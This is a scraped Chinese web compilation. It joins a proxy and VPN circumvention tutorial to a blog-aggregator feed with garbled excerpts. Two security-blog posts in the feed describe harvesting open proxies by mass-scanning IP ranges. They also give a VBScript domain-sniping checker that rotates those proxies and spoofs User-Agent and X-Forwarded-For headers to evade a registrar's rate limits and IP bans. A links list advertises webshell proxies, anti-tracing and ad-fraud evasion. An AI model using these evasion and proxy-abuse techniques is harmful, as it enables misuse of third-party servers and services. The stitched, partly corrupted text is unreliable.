访问 Time.is ，确保你的电脑系统时间与标准时间的时间差不超过 1 分钟。关联阅读
- 文字教程：UWP 应用联网 - Fndroid
- 图文教程：Clash for Windows 官方文档 - Fndroid
- 图文教程：如何在 Clash for Windows 上进行配置 - rixCloud
- 视频教程：Clash(R) for Windows 教程 | 可能是Windows上最好用的代理工具 - Sabrina
- Clash Editor：一个 实验性质 的 Clash 配置文件编辑向导。
Shadowsocks
下载
解压
- 在非系统盘新建一个名为
Shadowsocks的文件夹，例如D:\Program Files\Shadowsocks，把下载好的安装包剪切到这里，解压，打开Shadowsocks.exe - Windows 7 用户如果无法正常运行
Shadowsocks.exe，请下载并安装 .NET Framework 4.7.2 后，再尝试打开Shadowsocks.exe
配置
- 方法一（自动）：复制番茄商提供的 URL（网址），右键点击小飞机 >
服务器>从剪贴板导入 URL - 方法二（自动）：打开番茄商提供的二维码，右键点击小飞机 >
服务器>扫描屏幕上的二维码 - 方法三（手动）：双击桌面右下角任务栏的小飞机，输入
Server IP（服务器地址）、Port（服务器端口）、Password（密码）和Encryption（加密方式），点击确定（不要把空格复制进去！）
右键点击小飞机：
PAC 模式>从 GFWList 更新本地 PAC系统代理>PAC 模式（智能分流模式，只代理被屏蔽的网站），即可畅游全球网络开机自启
代理自动配置（英语：Proxy auto-config，简称 PAC）是一种网页浏览器技术，用于定义浏览器该如何自动选择适当的代理服务器来访问一个网址。
进阶
- Shadowsocks Windows 使用说明（官方）
- simple-obfs
- 插件程序：
obfs-local - 插件选项：
www.bing.com可以改为其他网站obfs=tls;obfs-host=www.bing.comobfs=http;obfs-host=www.bing.com
- 插件程序：
ShadowsocksR
下载
原版ShadowsocksR by shadowsocksrr魔改ShadowsocksR by rixCloud 👍魔改ShadowsocksR by Bruce Wayne：更新频繁，界面友好。我目前的选择。备用下载链接
安装
- 复制
ShadowsocksR-win.zip到非系统盘，例如D:\Program Files\ShadowsocksR - 解压
- 双击
ShadowsocksR-dotnet4.0.exe或ShadowsocksR-dotnet2.0.exe
订阅
右键点击任务栏右侧的 ShadowsocksR（白色小飞机）
服务器负载均衡：点击一下，即可去掉勾选，此时小飞机会变成其他颜色则表示禁用成功服务器订阅SSR 服务器订阅设置-Add-网址：复制并粘贴番茄商提供的 SSR 订阅地址（覆盖默认网址）更新 SSR 服务器订阅（不通过代理）：稍等片刻，就会提示订阅更新成功
服务器-编辑服务器：选择FreeSSR-public，删除，确定服务器：在更新的众多节点中，选一个节点（一般来说，离中国越近，延迟越低，例如香港节点）系统代理模式：全局代理规则：绕过局域网和大陆❗️选项设置：开机启动- 测试是否可以访问 Google。如果无法访问 Google，请换另外一个番茄
关联阅读
ShadowsocksD
- 下载 ShadowsocksD.exe （备用下载链接）
- ShadowsocksD 在 Shadowsocks 的基础上增加了订阅功能。
- 不兼容 ShadowsocksR 协议。
- 必须卸载「360 / 2345 / 腾讯 全家桶」才能运行。莫慌，这是 Windows 佳软 推荐。
- 使用方法跟 Shadowsocks 大同小异，不在赘述。
🤖 Android（安卓手机）
始终开启 VPN
以 MIUI 为例，打开
设置>VPN，选择某个配置右侧的齿轮图标 ⚙，打开始终开启的 VPN（随时和 VPN 保持连接）。接下来可以把翻墙 app 锁定在后台，并设置为开机自启（可选步骤）。大部分 Android 系统都会因为电池策略导致 翻墙 app 应用程序被杀掉导致无法连接网络。出现这种情况的特征是通知栏中 VPN 连接仍然存在，但无法访问网络（包括国内网络）。这是因为 翻墙 app 主程序和 VPN 框架是独立存在的，主程序被系统清理后会导致流量仍然通过 VPN 路由到本地但没有应用程序来处理这些流量，导致无法上网。
还可以在下拉/上拉通知栏中开启对应翻墙 app 的快捷方式，像开关 Wi-Fi 一样决定是否启用代理。
由于代理软件的特殊性，可能导致系统将所有因为网络连接而消耗的电量都计算在代理软件上，这是正常情况，并非严重的续航影响。
Shadowsocks
下载 Shadowsocks.apk
原版shadowsocks.apk 下载链接：GitHub | Google Play魔改Shadowsocks.apk by rixCloud 👍备用下载链接
安装后，打开 App，点击右上角的
＋，任选一种方法，添加节点信息- 手动设置：正确填写（检查是否有空格）
服务器、远程端口、密码、加密方式 - 扫描二维码
- 从剪贴板导入
- 手动设置：正确填写（检查是否有空格）
路由选择
绕过局域网和中国大陆网址点击右上角的
✔选择刚刚创建的配置文件，点击底部小飞机
✈️️（网络连接请求选确定）打开浏览器，在地址栏输入
google.com/ncr测试是否可以访问 Google
ShadowsocksR
图文教程请参阅 ShadowsocksR 小飞机使用教程- 神奇海螺，以下是纯文本教程：
- 下载 ShadowsocksR.apk
原版ShadowsocksR.apk by shadowsocksrr魔改SSRay by xxf098：集成了 V2Ray 和 Trojan 👍魔改ShadowsocksR.apk by rixCloud魔改ShadowsocksR by Bruce Wayne魔改shadowsocksRb.apk 下载途径：GitHub | Telegram Channel魔改Maying：内置了 ACL4SSR 路由规则。我目前的选择。魔改喵帕斯修改版：基于届时 SSRR 最新版 代码去掉了节点列表乱序功能，不能与之共存。备用下载链接
- 轻触 App 图标打开，点击左上角的
ShadowsocksR，进入配置文件管理页面，然后点击右下角的+，在弹出的选项中选择添加/升级 SSR 订阅 - 在弹出的菜单中选择
添加订阅地址，在新窗口中粘贴之前从番茄商里获取的地址 - 添加完成后会自动返回到之前的菜单，打开
自动更新，然后点击确定并升级 - 自动获取完节点后，轻触右上角的 ⚡ 进行
完整延时测试，等待若干分钟（节点很多的话，可以中断测试，因为 100 毫秒以下的节点都是可以接受的），在轻触 ⚡ 右边的三道杠基于延时自动排序，选择第一个节点（0 ms 代表节点不可用，所以要选择 18 ms 到 50 ms 左右的节点） - 在
功能设置选项卡路由中选择绕过局域网及中国大陆地址
- 在
其他选项卡，打开自动连接 - 最后，点击右上角的纸飞机 ✈ 开启代理（初次使用时会弹出
网络连接请求，点击确定即可）
进阶设置（小白不必理会）
路由-自定义 ACL 文件https://cdn.rixcloud.io/resource/rules/Android/ACL/banAD.acl- 打开
IPv6 路由（如果国外社交软件（例如 Instagram）等无法加载内容时） - 打开
UDP 转发 - 设置
China DNS为119.28.28.28:53,119.29.29.29:53,1.2.4.8:53 - 设置
DNS为1.1.1.1:53
ShadowsocksD
- 下载 ShadowsocksD.exe（备用下载链接）
- ShadowsocksD 在 Shadowsocks 的基础上增加了订阅功能
- 不兼容 ShadowsocksR 协议
- 目前的开发者厌恶华为 / 锤子 / 小米（MIUI）设备，可能会存在兼容性问题
Clash for Android
特点
- 界面简洁美观
- 支持策略分流
- 支持访问控制模式（分应用代理、绕行模式）
下载
- Google Play：需要 Google 服务框架。
- GitHub：下载速度较慢。
- 蓝奏云：下载速度较快，但可能不是最新版，不过不影响使用。
教程
使用方法和 Clash for Windows 类似，这里不再赘述。
Clash(R) for Android 图文教程：东半球第二好用的安卓翻墙工具 - Sabrina
动态
Telegram Channel（电报频道）：Clash for Android Channel Gateway
📱 iOS（iPhone & iPad）
番茄客户端无法在中国区 App Store 下架，但可以注册非中国区的 Apple ID 登录 App Store。获得国外的 Apple ID 后，你就可以下载番茄客户端了：
- 免费：Potatso Lite
- 付费：Shadowrocket 和 Quantumult
如何购买付费的 App：
- 慢且安全的方法：自己注册一个非中国区的 Apple ID，然后找万能的淘宝充值，接着付费下载番茄 App。
- 快但危险的方法：找一个已经购买过付费番茄客户端的 Apple ID。操作不当，手机「变砖」。所以请严格教程里的步骤操作。
🍥 Potatso Lite
使用非中国区的 Apple ID 可以安装免费的 Potatso Lite（土豆丝入门版）
立即使用-现在添加：选择合适的添加方式自动导入：订阅Name（名字）：填写番茄商的名字或随便写一个Auto Update（自动更新）：打开Subscription URL（订阅链接）
手动输入- 类型：Shadowsocks / ShadowsocksR
- 服务器
- 端口
- 加密
- 密码
- 选择一个代理
- 开启
智能路由：只允许被封的网站走代理通道 开始-Allow（允许）- 输入密码- 打开 Safari 浏览器，在地址栏输入
google.com/ncr测试是否可以访问 Google
🚀 Shadowrocket
$2.99俗称「小火箭」：添加订阅节点，请参考图文教程 在 iPhone&iPad 上配置 Shadowrocket | DolphinCloud 帮助文档。以下是是纯文字教程。
底部导航栏：
首页- 点击右上角的
＋>类型：Subscribe>URL：从番茄商那里获取>完成（右上角）回到首页 - 点击
连通性测试，选一个最快的（ms 数最小的） - 点击
全局路由，选择配置- 配置（PAC）：智能分流
- 代理（Proxy）：全部网络连接走代理，即全局模式。某些网站上不了，可以临时使用这个模式。
- 直连（Direct）：暂停科学上网
- 场景：小白不必了解，但这也是小火箭的厉害之处
- 火箭发射（发射按钮在右上角
+的下方）- 第一次连接时会弹出
"Shadowrocket" Would like to Add VPN Configurations，点击Allow（允许）
- 第一次连接时会弹出
底部导航栏：
配置- 复制下面这个 URL，点击右上角的
＋，URL 会自动粘贴https://raw.githubusercontent.com/lhie1/Rules/master/Shadowrocket/Complete.conf - 在
远程文件列表，点击刚刚添加的配置文件https://raw.github…Complete.conf>使用配置> 下载 - 在
本地文件列表，点击Complete.conf即可启用
如需进一步了解，请访问 Shadowrocket 配置文件使用手册 - lhie1
底部导航栏：
数据iCloud>自动同步：开启，如此一来，换了 iPhone，配置还在。
底部导航栏：
设置- 滑到底部
其他>服务器订阅打开时更新：开启自动后台更新：开启根据 Ping 排序：开启（最快的节点排在最前面）
🧬 Quantumult
$4.99俗称「圈」。教程请参阅：
💻 macOS（苹果电脑）
如果下方链接失效或下载速度慢，请访问 备用下载链接。
ShadowsocksX-NG
- 下载最新的 ShadowsocksX-NG.zip
- 接下来的设置参考 Shadowsocks for Windows，或参考这个 教程
ShadowsocksX-NG-R
ClashX
- 下载地址
- 接下来的设置参考 Clash for Windows
🤙 后记
💾 备选菜园
🚚 进阶技巧
❗ 小白用户可以略过本章节。
tingtalk.me因为不可抗力，在中国大陆遭到屏蔽，此时在 智能分流（PAC）模式 下无法正常访问庭说的博客。于是不得不切换为全局模式，但这样一来，其他可以正常访问的网站（例如 sspai.com）也走代理通道了（速度慢（取决于番茄的质量），费流量）。所以阅读完我的博客之后，不得不换回 PAC 模式。这个时候，借助 SwitchyOmega 可以创建属于自己的规则列表（任意网站，走不走代理，几时走代理，通通你说了算）。详情参阅 SwitchyOmega 使用教程。🧹 清除 DNS 缓存
一切都设置好了，但还是无法访问 Google，可能是 DNS 受到污染了。怎么办：
手机的话，开启「飞行模式」，再关闭。
Windows 设备，请刷新 DNS 缓存：
- 按下键盘快捷键
Windows 徽标键+R，调出「运行」窗口。 - 输入
cmd，回车，打开「命令提示符」窗口。 - 复制或输入以下命令，回车。
ipconfig/flushdns - 显示
Windows IP 配置 已成功刷新 DNS 解析缓存。 - 现在应该就可以正常访问 Google 了。
🔍 善用 Google
Search before you ask（遇事不明，搜索引擎）。这篇保姆级的教程写得那么详细，手再伸出来就砍了。如果暂时无法访问 Google，推荐使用 必应搜索（国际版）。苦寻无果，与我联系，手把手教你越过互联网的藩篱（My mission is to give you freedom）。
📞 与我联系
- 加入庭说的后花园： Telegram 群组（
@tingtalk），那里百花盛开，充满自由的气息。这是 Telegram 新手教程。 - 添加庭勃士的微信号
tingtalkme：接头暗号「番茄」。
虽然庭说的博客和公众号都已被封了，我也可能因此再次被 invited for some tea。请看以下来自一位法律人士（未交叉验证）的案例：
但也不必过于悲观，因为我没有以牟利为目的去制售翻墙相关软件和服务（机场不是我开的）。我只是无偿帮助读者获取信息自由，改善网络环境，方便学习和工作，不包含任何政治目的。
这也是我的一个小小梦想：信息可以像水和空气一样自由流动。只要我还能表达，青山不改，绿水长流。
- 博客 Jiajun的编程随想 2016-02-06 08:00:00《C语言的位操作》以下所有都是针对64位机来说的...
- 博客 轶哥博客 2016-02-05 21:40:13<>emem使用Node.j模拟一个Ngix/Aache静态文件服务器，可以直接运行HTML及JavaScrit、各类图片。具体代码请点击下方阅读全文。
- 博客 轶哥博客 2016-02-02 14:00:34<>ememASP.NET 5 MVC 6 We API （C#）默认支持自动序化XML和JSON格式数据。然而自动序化的JSON数据在很多方面是存在问题的，比如部分符号和JSON字符串数组的问题。
输出符合JavaScrit标准的JSON字符串
<>emem目前比较适合正式生产场合的、不容易出现错误的解决方案是自行序化。尽管ASP.NET WEB API已经具备自动序化的能力，但序化出来的内容并不能完全符合JavaScrit规范，比如中文不能够很好的进行uicode转换，部分数值未以字符串方式输出（没有引号，或者变成了单引号）。为了避免出现结果差异，我们默认将所有数据都转换为字符串或字符串数组，再由JavaScrit自动将数据转换成对应的类型。 - 博客 轶哥博客 2016-01-27 21:18:56<>emem使用ASP.NET 5 MVC 6 编写 We API的代码和老版本的有很大区别。特别在连接数据库、图片上传下载等问题上非常难处理。主要原因是新版本中很多类的用法产生变更。<>ememASP.NET 5 及 EF7（Etity Framework 7）可以跨平台的新特性使得Liux服务器更能大展身手。但随之而来的便是运维难度的加大和编程人员的“再学习”成本。
- 博客 Jiajun的编程随想 2016-01-25 08:00:00《分治》Divide and Conquer. 在之前读 `Eric Roberts` 先生所著的`Thinking Recursively` 之后写过几句小总结,那本小书介绍了如何以递归的角度去...
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-12-21 15:18:34
King Of The Proxy (代理之王) v2.0 发布，HTTP/HTTPS、SOCKS4/5代理采集、验证工具。
时隔三年多，前段时间对代理之王进行了一些升级，老版本见（v1.0-v1.1）：
2012-09-03 16:54:02：King Of The Proxy (代理之王) v1.0 发布、HTTP代理采集、验证工具
与老版本（v1.0-v1.1）相比：
1、开放代理采集接口，可自定义采集规则（正则匹配），兼容任何非加密文本输出的代理发布站。
2、开放代理验证接口，可自定义验证规则（正则匹配），支持直接自定义收发十六进制数据包，也就是说不止是 HTTP/HTTPS、SOCKS4/5 协议，甚至其他任何协议都可验证，你可以将十六进制数据包改为 MSSQL、MYSQL、RDP 等任何 TCP 协议，即可支持该种协议验证。当然，仅作为一个代理采集工具，这里用不到其他协议，如果你感兴趣的话，可以试试。
3、添加了对 SOCKS4/5 代理采集、验证的支持。
4、其他众多优化……
用法：
很简单：
C:\代理之王 v2.0>proxy -------------------------------------------------- King Of The Proxy v2.0 (代理之王) by: Nuclear'Atk qq: 624118310(root@lcx.cc) blog: https://lcx.cc/ usage: get 遍历 url.txt 中的链接及参数，抓取代理保存至：tmp.txt [追加] check 100 启动 100 个线程验证 tmp.txt，可用代理保存至：proxy.txt [追加] (线程数默认：100，最大 <= 1000) example: proxy.exe get proxy.exe check proxy.exe check 99 --------------------------------------------------采集规则（collect.ini）：
#################################################################################################### # 说明：该文件设定程序的采集规则，以“#”开始的为注释行，“[!]”为参数分隔符。 # # 格式：采集网址[!]代理类型[!]提取规则(正则表达式，不区分大小写，支持多行模式) # # 注意！只有IP地址(或域名)和端口同时匹配到才会保存！如：8.8.8.8:8888, www.google.com:9999 # # 例子：http://www.baidu.com/[!]http[!](\d+\.\d+\.\d+\.\d+)\:(\d+) # # http://www.baidu.com/[!]socks4[!](\d+\.\d+\.\d+\.\d+)\:(\d+) # # http://www.baidu.com/[!]socks5[!](\d+\.\d+\.\d+\.\d+)\:(\d+) # #################################################################################################### # 以下为 2015-12-2 16:58:27 更新的网址 http://www.xicidaili.com/[!]http[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td>[\s]+?<td>[^<>]+?</td>[\s]+?<td>[^<>]+?</td>[\s]+?<td>http http://www.xicidaili.com/[!]socks5[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td>[\s]+?<td>[^<>]+?</td>[\s]+?<td>[^<>]+?</td>[\s]+?<td>sock http://www.xicidaili.com/nn/[!]http[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td> http://www.xicidaili.com/nn/2[!]http[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td> http://www.xicidaili.com/nt/[!]http[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td> http://www.xicidaili.com/nt/2[!]http[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td> http://www.xicidaili.com/wn/[!]http[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td> http://www.xicidaili.com/wn/2[!]http[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td> http://www.xicidaili.com/wt/[!]http[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td> http://www.xicidaili.com/wt/2[!]http[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td> http://www.xicidaili.com/qq/[!]socks5[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td> http://www.xicidaili.com/qq/2[!]socks5[!]<td>(\d+\.\d+\.\d+\.\d+)</td>[\s]+?<td>(\d+)</td>
验证规则（check.ini）：
#################################################################################################### # 说明：该文件设定程序的验证规则， # # 以“#”开始的为注释行，花括弧“{}”之间的为有效数据（类似html语法）。 # # 格式：{开始标签}有效数据{/结尾标签} # # 注意：所有返回数据最大缓存 1048576 字节（1 MB），超过会被忽略，请尽量减小特征数据包！ # #################################################################################################### # ------------------------------------------------------------------------------------------------ # # 全局参数设置（对以下所有类型代理验证都生效） # 1、设置错误重试次数 # 有时由于网络不稳定等原因，验证代理时会偶尔连接失败，导致误判，所以程序支持重试几次，以提高准确率。 # 注意：该功能对整体速度影响极大！整体耗时随重试次数成倍增加！推荐 1-2 即可，设置为 0 则不重试（最高速度）。 {retry}1{/retry} # 2、设置超时时间（单位：秒），可以过滤一些速度较慢的代理。 {timeout}10{/timeout} # ------------------------------------------------------------------------------------------------ # # HTTP/HTTPS 代理验证规则 # 1、首先向代理服务器发送以下数据（无空格十六进制）： # GET http://www.baidu.com/robots.txt HTTP/1.1 {http-send}47455420687474703A2F2F7777772E62616964752E636F6D2F726F626F74732E74787420485454502F312E310D0A436F6E6E656374696F6E3A20436C6F73650D0A4163636570743A202A2F2A0D0A557365722D4167656E743A204D6F7A696C6C612F352E302028636F6D70617469626C653B204D53494520392E303B2057696E646F7773204E5420362E313B2054726964656E742F352E30290D0A486F73743A207777772E62616964752E636F6D0D0A0D0A{/http-send} # 2、如果返回数据（无空格十六进制）匹配以下正则（不区分大小写、支持多行模式），判定为有效代理并保存，无法访问或返回不符合数据的代理将被丢弃。 # Disallow: /shifen/ {http-regexp}.+446973616C6C6F773A202F73686966656E2F.+{/http-regexp} # ------------------------------------------------------------------------------------------------ # # Socks4 代理验证规则 # 1、首先向代理服务器发送以下数据（无空格十六进制）： {socks4-send}040100350808080800{/socks4-send} # 2、如果返回数据（无空格十六进制）匹配以下正则（不区分大小写、支持多行模式），判定为有效代理并保存，无法访问或返回不符合数据的代理将被丢弃。 {socks4-regexp}^..5A.+${/socks4-regexp} # ------------------------------------------------------------------------------------------------ # # Socks5 代理验证规则 # 1、首先向代理服务器发送以下数据（无空格十六进制）： {socks5-send}050100{/socks5-send} # 2、如果返回数据（无空格十六进制）匹配以下正则（不区分大小写、支持多行模式），判定为有效代理并保存，无法访问或返回不符合数据的代理将被丢弃。 {socks5-regexp}^0500${/socks5-regexp} # ------------------------------------------------------------------------------------------------ #简要说明：
proxy.exe：主程序，具体见程序内使用说明。
collect.ini：设定程序的采集规则，具体见文件内详细说明。
check.ini：设定程序的验证规则，具体见文件内详细说明。
tmp.txt：默认不存在，采集时会自动生成，采集结果保存至此文件，之后用于验证代理。
proxy.txt：默认不存在，验证代理的时自动生成，有效代理会保存于此文件。
高级玩法：
只需要使用一段批处理命令，配合端口扫描器或者采集方式，即可实现全天24小时自动采集/扫描、验证代理，瞬间搭建起一个轻量级代理发布站！
可以参照“为何互联网上会存在大量代理服务器？代理发布站的代理是哪里来的？”的内容，利用s等端口扫描器扫描海量IP的：8080、80、1080 等端口，然后使用本程序进行批量验证。
（过段时间，本站可能建立一个每天全自动实时更新的轻量级代理发布站，敬请关注！）
历史版本：
2012-09-03 16:54:02（v1.0-v1.1）：King Of The Proxy (代理之王) v1.0 发布、HTTP代理采集、验证工具
下载地址：
客户订做，暂不公开。
如有需要，联系站长QQ：624118310(root@lcx.cc)
相关内容：
JSON探针—定位目标网络虚拟信息身份，利用大量三方网站cookie进行追踪
CVE-2014-0509 使用?半代理(0xD800~0xDBFF)的 Flash XSS
使用代理ip，浏览器会被网站获取到哪些信息？如何刷广告联盟不被发现？
Asp反向代理程序，调用远程站点全站数据，一款脚本级反向代理程序
多层代理下解决链路低延迟的技巧，多层代理网络匿迹，反追踪，隐藏、保护自己
基于Wordpress Pingback的反追踪思路？木马远控通过“代理”上线？
只有webshell，一样可以做代理，如何使用脚本程序做代理
如何在网络中隐藏自己？再论拨了国外VPN代理，是否可被逆向追踪？
关于3G流量上网卡！（匿名上网），隐藏自己、网络匿迹、保护自己
警告：用虚拟机上QQ，挂全局Socks代理的请注意，UDP协议暴露真实IP
IP反查网站接口 旁站查询 IP查域名 域名历史解析记录查询 IP地址查机房AS号
为何互联网上会存在大量代理服务器？代理发布站的代理是哪里来的？
基于日志整理出的经常扫描的 IDC、ISP、IP段、AS号及web服务器内容
King Of The Proxy (代理之王) v1.0 发布、HTTP代理采集、验证工具
WinHttpRequest SetProxy 方法详解，设置代理服务器信息
绕过CDN的思路，绕过CDN查找真实IP的思路，一个新颖并另类的方法
【需翻墙】网监如何爆菊？网警是如何通过层层VPN加密代理找到你的！
查找“CDN、负载均衡、反向代理”等大型网络真实IP地址的方法
留言评论（旧系统）：
佚名 @ 2015-12-22 16:46:51
核总，放大招的节奏啊，啥时候来源现在这套BLOG源码啊？
本站回复：
写的一些小工具，blog最新版暂不开源…… -_-!!!
佚名 @ 2015-12-24 17:05:46
嗄哒，博主更新的很轻快啊
本站回复：
-_-!!!
佚名 @ 2015-12-30 14:31:22
老树开新花
本站回复：
-_-!!!
佚名 @ 2016-01-14 13:29:06
话说为什么没有linux版本...不开心
本站回复：
-_-!!!
大邹 @ 2016-01-15 10:11:38
嗯嗯嗯 不会用
本站回复：
-_-!!!
佚名 @ 2016-01-26 00:12:23
你就是一傻逼～还哥就是神～河公鸡
本站回复：
欢迎吐槽，你开心就好！
佚名 @ 2016-03-04 16:42:43
下载地址： 客户订做，暂不公开。 讲了半天用法，之后你告诉我不给用。。。。这不是耍流氓么
本站回复：
-_-!!!
佚名 @ 2016-03-05 19:45:49
不错 给出了思路 用py实现起来应该不难 网站正则抓取 然后生成txt 但是有一个难点就在于怎么样去验证代理的地址是否存活……
本站回复：
good good study, day day up!
河公鸡 @ 2016-03-11 19:01:45
河公鸡
本站回复：
[暂无回复]
佚名 @ 2016-03-15 20:02:39
居然打广告！！有内幕！
本站回复：
-_-!!!
kirry @ 2016-03-25 15:53:08
楼主很牛嘛
本站回复：
-_-!!!
佚名 @ 2016-03-30 20:58:44
核总失踪啦？纯关心回复！
本站回复：
你猜~
佚名 @ 2016-04-17 22:02:45
说好的 全自动实时更新的轻量级代理发布站 呢
本站回复：
开发中……
佚名 @ 2016-07-02 13:41:10
2.0支持验证ip是否提供http、https代理么？
本站回复：
[暂无回复]
- 博客 轶哥博客 2015-12-17 23:30:34<> 最近尝试在昂达V975w平板电脑和itel tick中安装uutu，经过分析，发现存在一个非常大的坑。但因为这个坑，此教程适合大部分平板电脑、电脑棒、itel uc设备安装Uutu。
- 博客 Nuclear'Atk（核攻击）网络安全实验室 2015-12-17 14:51:27
前段时间写的一个小脚本，用来检查大量域名注册情况，源码如下：
Function echo(s) Wscript.Echo s End Function Public Function MidStr(s, a, b) '从指定字符串中截取两个字符串中间的字符:截取S中从A与B之间的字符串 Dim tmp IF InStr(s, a) > 0 And InStr(s, b) > 0 Then '判断特征字符是否存在 tmp = Mid(s, InStr(s, a) + Len(a)) '从s中截取所有a首次出现位置之后的字符 If InStr(tmp, b) > 0 Then '判断截取位置是否正确 tmp = Left(tmp, InStr(tmp, b) - 1) '在tmp中截取从开始到B首次出现位置之前的字符串 Else tmp = "" End IF End IF MidStr = tmp End Function Public Function FixStr(ByVal S) '删除字符串首尾空格、回车、换行 Do While Left(S, 1) = vbCr Or Left(S, 1) = vbLf Or Left(S, 1) = " " '删除字符串首：空格、回车、换行 S = Mid(S, 2) 'Echo Asc(Left(S, 1)) Loop Do While Right(S, 1) = vbCr Or Right(S, 1) = vbLf Or Right(S, 1) = " " '删除字符串尾：空格、回车、换行 S = Left(S, Len(S) - 1) 'Echo Asc(Right(S, 1)) Loop FixStr = S End Function Public Function GetRndItem(b) '从字符串数组中随机挑选一条 'Randomize 不能写在函数内部，会导致短时间间隔内相邻两次随机数一致，写在程序开始位置即可 GetRndItem = b(Int((UBound(b) - LBound(b) + 1) * Rnd + LBound(b))) '根据数组上、下标产生随机数，并获取该条数据 End Function Public Function RndNum(ByVal MinNum, ByVal MaxNum) '生成指定范围的随机数字（最小数，最大数）：MinNum <= 返回值 <= MaxNum 'Randomize 不能写在函数内部，会导致短时间间隔内相邻两次随机数一致，写在程序开始位置即可 RndNum = Int((MaxNum - MinNum + 1) * Rnd + MinNum) '生成随机数字 End Function function geturl(url) Dim WinHttp Set WinHttp = CreateObject("WinHttp.WinHttpRequest.5.1") WinHttp.Open "GET", url, False '--------- '读取http代理列表（配合代理之王，防止封IP） if fso.FileExists("proxy.txt") then dim p p = split(FixStr(fso.OpenTextfile("proxy.txt", 1, False).Readall), vbcrlf) WinHttp.SetProxy 2, GetRndItem(p) '设置http代理 end if '--------- Randomize WinHttp.SetRequestHeader "Connection", "Close" WinHttp.SetRequestHeader "User-Agent", Int((99999999 * Rnd) + 11111111) WinHttp.SetRequestHeader "X-Forwarded-For", Int((255 * Rnd) + 1) & "." & Int((255 * Rnd) + 1) & "." & Int((255 * Rnd) + 1) & "." & Int((255 * Rnd) + 1) '--------- WinHttp.Send 'geturl = "status = " & WinHttp.Status & ", size = " & len(WinHttp.ResponseText) 'geturl = Bytes2BSTR(WinHttp.ResponseBody) geturl = WinHttp.ResponseText end function public function check(s) dim html, tmp html = geturl("http://panda.www.net.cn/cgi-bin/check.cgi?area_domain=" & s) if instr(html, "|216|") > 0 or instr(html, "<original>") = 0 then '|216|Query frequency is too high, please try again later check = html 'echo html 'wscript.quit else tmp = now & _ ", " & midstr(html, "<returncode>", "</returncode>") & _ ", " & midstr(html, "<key>", "</key>") & _ ", " & midstr(html, "<original>", "</original>") check = tmp fso.OpenTextFile(f, 8, True).WriteLine tmp end if end function '--------------------------------------------------------------------------------------------------- echo "--------------------------------------------------" echo "批量检查域名是否已注册(抢注域名神器)" echo "" echo "by: Nuclear'Atk" echo "qq: 624118310(root@lcx.cc)" echo "blog: https://lcx.cc/" echo "usage:" echo " cscript check.vbs mode number_start number_end domain_length domain_type" echo "example:" echo " cscript /nologo check.vbs order 1111 2222 5 .com" echo " cscript /nologo check.vbs random 1111 2222 5 .com" echo "--------------------------------------------------" on error resume next Randomize dim fso set fso = CreateObject("Scripting.FileSystemObject") '获取参数 if WScript.Arguments.Count <> 5 then '参数不对则退出 echo "arguments count error!" wscript.quit else dim m, s, e, l, t, f m = WScript.Arguments(0) '生成模式（随机或顺序） s = WScript.Arguments(1) '起始数字 e = WScript.Arguments(2) '结束数字 l = WScript.Arguments(3) '域名长度 t = WScript.Arguments(4) '域名后缀 f = l & t & ".txt" '日志文件名 end if '批量生成域名并查询 dim x select case m case "order" '按顺序产生 dim i for i = s to e x = right(replace(space(l), " ", "0") & i, l) & t '组成域名 if instr(fso.OpenTextfile(f, 1, False).Readall, x) = 0 then '只查询没查过的域名（判断日志文件中是否存在该域名） echo check(x) else echo now & ", " & x & ", pass..." end if next echo now & ", done!" case "random" '随机产生 do x = right(replace(space(l), " ", "0") & RndNum(s, e), l) & t '组成域名 if instr(fso.OpenTextfile(f, 1, False).Readall, x) = 0 then '只查询没查过的域名（判断日志文件中是否存在该域名） echo check(x) else echo now & ", " & x & ", pass..." end if loop case else echo "mode error!" end select说明及用法：
-------------------------------------------------- 批量检查域名是否已注册(抢注域名神器) by: Nuclear'Atk qq: 624118310(root@lcx.cc) blog: https://lcx.cc/ usage: cscript check.vbs mode number_start number_end domain_length domain_type example: cscript /nologo check.vbs order 1111 2222 5 .com cscript /nologo check.vbs random 1111 2222 5 .com --------------------------------------------------由于当时只用来抢注数字域名，所以只具备两个模式：
1、按顺序生成特定位数、后缀的数字域名，并且检查。
2、随机生成特定位数、后缀范围内的数字域名，并且检查，适合在域名范围很大的情况下使用，例如检查7位数字域名，总量在百万以上，全部检查扫描一遍时间太久，则使用随机产生方式撞运气（会过滤掉已检查的重复域名），效率更快。
稍微改改代码，就可以检查拼音域名，或其他特定字典生成域名，支持任何后缀！
可以同时开启几十个进程协同工作（数量无上限），本人测试开启50进程同步扫描，峰值每秒扫描30-40个域名（5位数字com域名，一小时即可全部扫完！），使用 cmd 命令或者批处理即可实现，例子代码如下：
echo off & color a & cls rem setlocal EnableDelayedExpansion rem for /l %%i in (0,500,9999) do @( rem set /a sum=%%i+499 rem echo cscript check.vbs order %%i !sum! 4 .cc rem start cscript check.vbs order %%i !sum! 4 .cc rem ) for /l %%i in (1,1,10) do @( start cscript check.vbs random 0 99999 5 .cc ) rem pause注意！如果同时开启多个进程协同工作，则需要配合“King Of The Proxy (代理之王) v1.0 发布、HTTP代理采集、验证工具”，用法很简单，使用代理之王验证完IP后，结果保存到同目录“proxy.txt”（默认文件名）即可自动调用，防止IP被封。
使用的接口为万网接口：http://panda.www.net.cn/cgi-bin/check.cgi?area_domain=baidu.com
返回值及含义（每个域名后缀都不一样，自己测一下就知道了）:
210 : Domain name is available
211 : Domain name is not available
212 : Domain name is invalid
214 : Unknown error
其他功能及用法，交给各位自己发现吧！
留言评论（旧系统）：
佚名 @ 2015-12-17 23:41:26
~
本站回复：
~
佚名 @ 2015-12-18 12:18:44
赞
本站回复：
-_-!!!
夜行者 @ 2015-12-22 20:14:28
